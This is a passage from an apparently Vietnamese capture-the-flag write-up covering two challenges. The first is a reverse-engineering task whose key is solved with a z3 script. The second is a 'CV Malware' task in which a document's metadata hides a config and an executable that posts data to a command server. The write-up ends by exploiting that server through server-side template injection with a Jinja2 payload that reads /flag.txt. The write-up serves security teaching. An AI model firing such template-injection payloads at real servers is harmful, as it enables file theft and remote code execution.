+ 51 * a1[6]
+ 170 * a1[5]
+ 892 * a1[4]
+ 36 * a1[3]
+ 179 * *a1
- 99 * a1[1]
- 224 * a1[2]
- 286 * a1[7]
- 317 * a1[8]
- 332 * a1[11] != 248916
|| 441 * a1[13]
+ 587 * a1[12]
+ 938 * a1[11]
+ 972 * a1[10]
+ 321 * a1[7]
+ 929 * a1[4]
+ 220 * a1[3]
+ 211 * a1[2]
+ 277 * a1[1]
+ 258 * *a1
- 860 * a1[5]
- 237 * a1[6]
- 412 * a1[8]
- 694 * a1[9] != 284272
|| 387 * a1[13]
+ 437 * a1[12]
+ 548 * a1[11]
+ 86 * a1[10]
+ 527 * a1[6]
+ 48 * a1[5]
+ 135 * a1[3]
+ 773 * a1[1]
+ 964 * *a1
- 169 * a1[2]
- 230 * a1[4]
- 976 * a1[7]
- 148 * a1[8]
- 716 * a1[9] != 137743
|| 438 * a1[12]
+ (a1[9] << 9)
+ 547 * a1[8]
+ 385 * a1[2]
+ 343 * a1[1]
+ 598 * *a1
- 774 * a1[3]
- 579 * a1[4]
- 9 * a1[5]
- 883 * a1[6]
- 419 * a1[7]
- 869 * a1[10]
- 86 * a1[11]
- 924 * a1[13] != -116586
|| 549 * a1[13]
+ 532 * a1[11]
+ 21 * a1[9]
+ 883 * a1[8]
+ 99 * a1[7]
+ 982 * a1[3]
+ 557 * a1[2]
+ 690 * a1[1]
+ 163 * *a1
- 154 * a1[4]
- 118 * a1[5]
- 672 * a1[6]
- 953 * a1[10]
- 562 * a1[12] != 141428
|| 379 * a1[9]
+ 460 * a1[5]
+ 607 * a1[2]
+ 339 * a1[1]
+ 337 * *a1
- 391 * a1[3]
- 684 * a1[4]
- 341 * a1[6]
- 757 * a1[7]
- 557 * a1[8]
- 887 * a1[10]
- 178 * a1[11]
- 660 * a1[12]
- 718 * a1[13] != -267187
|| 20 * a1[12]
+ 761 * a1[11]
+ 616 * a1[10]
+ 162 * a1[8]
+ 593 * a1[7]
+ 925 * a1[6]
+ 603 * a1[3]
+ 131 * a1[2]
+ 149 * a1[1]
+ 682 * *a1
- 119 * a1[4]
- 737 * a1[5]
- 637 * a1[9]
- 277 * a1[13] != 247270 )
{
return 0;
}
v1 = strlen((const char *)a1) + 1;
retaddr = 0;
do
{
byte_2E50B01[retaddr] ^= a1[retaddr % (int)(v1 - 1)];
++retaddr;
}
while ( (unsigned int)retaddr < 0x8D42 );
((void (__cdecl *)(_BYTE *))((char *)NtCurrentPeb()->ImageBaseAddress + 7872))(byte_2E50B01);
return 1;
}
Có một đoạn check dài được thực hiện, dễ thấy ở đây chính là hệ phương trình từ các phần tử của mảng. Để tìm lại a1
thỏa mãn, ta sẽ dùng z3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from z3 import *
a1 = [BitVec(f"c{i:02}", 16) for i in range(14)]
s = Solver()
s.add((749 * a1[13] + 297 * a1[12] + 346 * a1[9] + 378 * a1[8] + 70 * a1[5] + 504 * a1[3] + 840 * a1[2] +
451 * a1[1] + 110 * a1[0] - 855 * a1[4] - 367 * a1[6] - 766 * a1[7] - 806 * a1[10] - 400 * a1[11]) == 10699)
s.add((644 * a1[12] + 377 * a1[11] + 418 * a1[10] + 545 * a1[6] + 338 * a1[5] + 570 * a1[3] + 705 * a1[2] +
946 * a1[1] + 42 * a1[0] - 977 * a1[4] - 764 * a1[7] - 223 * a1[8] - 879 * a1[9] - 100 * a1[13]) == 61677)
s.add((725 * a1[13] + 899 * a1[12] + 55 * a1[10] + 610 * a1[9] + 299 * a1[6] + 234 * a1[4] + 809 * a1[3] +
972 * a1[2] + 973 * a1[1] + 808 * a1[0] - 26 * a1[5] - 46 * a1[7] - 823 * a1[8] - 164 * a1[11]) == 417944)
s.add((80 * a1[13] + 225 * a1[11] + 640 * a1[10] + 21 * a1[8] + 910 * a1[7] + 721 * a1[5] + 102 * a1[0] -
969 * a1[1] - 192 * a1[2] - 189 * a1[3] - 157 * a1[4] - 665 * a1[6] - 334 * a1[9] - 296 * a1[12]) == 27876)
s.add((992 * a1[12] + 621 * a1[11] + 151 * a1[10] + 340 * a1[8] + 601 * a1[5] + 138 * a1[1] + 749 * a1[0] -
341 * a1[2] - 140 * a1[3] - 569 * a1[4] - 646 * a1[6] - 474 * a1[7] - 406 * a1[9] - 491 * a1[13]) == 86237)
s.add((962 * a1[13] + 523 * a1[11] + 655 * a1[9] + 153 * a1[5] + 120 * a1[3] + 579 * a1[2] + 70 * a1[0] -
735 * a1[1] - 238 * a1[4] - 197 * a1[6] - 235 * a1[7] - 174 * a1[8] - 101 * a1[10] - 327 * a1[12]) == 124555)
s.add((609 * a1[11] + 938 * a1[10] + 961 * a1[6] + 949 * a1[2] + 702 * a1[1] + 612 * a1[0] - 467 * a1[3] -
8 * a1[4] - 336 * a1[5] - 996 * a1[7] - 88 * a1[8] - 412 * a1[9] - 383 * a1[12] - 359 * a1[13]) == 99472)
s.add((691 * a1[13] + 733 * a1[12] + 988 * a1[10] + 313 * a1[9] + 51 * a1[6] + 170 * a1[5] + 892 * a1[4] +
36 * a1[3] + 179 * a1[0] - 99 * a1[1] - 224 * a1[2] - 286 * a1[7] - 317 * a1[8] - 332 * a1[11]) == 248916)
s.add((441 * a1[13] + 587 * a1[12] + 938 * a1[11] + 972 * a1[10] + 321 * a1[7] + 929 * a1[4] + 220 * a1[3] +
211 * a1[2] + 277 * a1[1] + 258 * a1[0] - 860 * a1[5] - 237 * a1[6] - 412 * a1[8] - 694 * a1[9]) == 284272)
s.add((387 * a1[13] + 437 * a1[12] + 548 * a1[11] + 86 * a1[10] + 527 * a1[6] + 48 * a1[5] + 135 * a1[3] +
773 * a1[1] + 964 * a1[0] - 169 * a1[2] - 230 * a1[4] - 976 * a1[7] - 148 * a1[8] - 716 * a1[9]) == 137743)
s.add((438 * a1[12] + (a1[9] * 2 ** 9) + 547 * a1[8] + 385 * a1[2] + 343 * a1[1] + 598 * a1[0] - 774 * a1[3] -
579 * a1[4] - 9 * a1[5] - 883 * a1[6] - 419 * a1[7] - 869 * a1[10] - 86 * a1[11] - 924 * a1[13]) == -116586)
s.add((549 * a1[13] + 532 * a1[11] + 21 * a1[9] + 883 * a1[8] + 99 * a1[7] + 982 * a1[3] + 557 * a1[2] +
690 * a1[1] + 163 * a1[0] - 154 * a1[4] - 118 * a1[5] - 672 * a1[6] - 953 * a1[10] - 562 * a1[12]) == 141428)
s.add((379 * a1[9] + 460 * a1[5] + 607 * a1[2] + 339 * a1[1] + 337 * a1[0] - 391 * a1[3] - 684 * a1[4] - 341 *
a1[6] - 757 * a1[7] - 557 * a1[8] - 887 * a1[10] - 178 * a1[11] - 660 * a1[12] - 718 * a1[13]) == -267187)
s.add((20 * a1[12] + 761 * a1[11] + 616 * a1[10] + 162 * a1[8] + 593 * a1[7] + 925 * a1[6] + 603 * a1[3] +
131 * a1[2] + 149 * a1[1] + 682 * a1[0] - 119 * a1[4] - 737 * a1[5] - 637 * a1[9] - 277 * a1[13]) == 247270)
print(s.check())
m = s.model()
sol = sorted([(d, m[d]) for d in m], key=lambda x: str(x[0]))
key = ''.join([chr(int(str(c))) for _, c in sol])
print(key)
# q20OK36QBiWkZT
Lấy key được in ra nhập vào ứng dụng và lấy flag thôi.
Flag
CHH{C00k13_4R3n4}
CV Malware
Difficulty: Medium
Bài này thì ngược lại với bài Pass Code :v Web trá hình
Cách giải
Exiftool thử file doc thì thấy subject
với description
khá đáng nghi
Decode subject
thì ra nội dung giống của 1 file .yaml
1
2
3
server:
host: http://REPLACE_HOST_HERE
secret: SecR3TtOKen
Decode description
thì ra 1 file exe Dùng IDA để reverse file đó thì thấy nó có gửi request đến server.
Thử nhập đường link đó qua web site với host tự tạo thì thấy có tải về 1 file tên là client.exe
Tiếp tục mở file đó bằng IDA
Có vẻ như exe được viết bằng golang vì có hàm main_main
(giống main
trong C)
Trong hàm đó có gọi một hàm đó chính là main_sendPostRequest
Check hàm đó thử thì thấy nó set Header cho post request
Content-Type: application/json
Secret: SecR3TtOKen
(hàm MIMEHeaderKey
lấy key từ subject)
Ngoài ra nó còn load tất cả file .ini
nữa (ở trong hàm main_loadAllConfigs
)
Để nhanh thì mình tạo file config.ini
và copy cái subject được decode vào và chạy exe. Trong lúc đó thì mình bật wireshark để bắt gói tin xem nó gửi data kiểu gì
Khúc này tác giả có hint rằng FLAG nằm trên host, tìm cách kết nối đúng và exploit
Vậy phải tìm cách exploit trang web của hacker. -> Lúc này là chuyển qua mảng web :v
Thử tạo lại request bằng Postman thì server trả về như sau
Sau một hồi thử nhiều thứ thì mình thấy rằng {{7 * 7}}
trả về 49 -> SSTI
Đoán rằng đây là jinja2 mình mượn payload có sẵn ở trên mạng để thử RCE và kết quá là lấy được flag
1
{{url_for.__globals__.__builtins__.open('/flag.txt').read()}}
Flag
CHH{ExtR@Ct_m4CRo_aNd_h@Ck_C2c_d37770e38c3d1079f03939f97951f72a}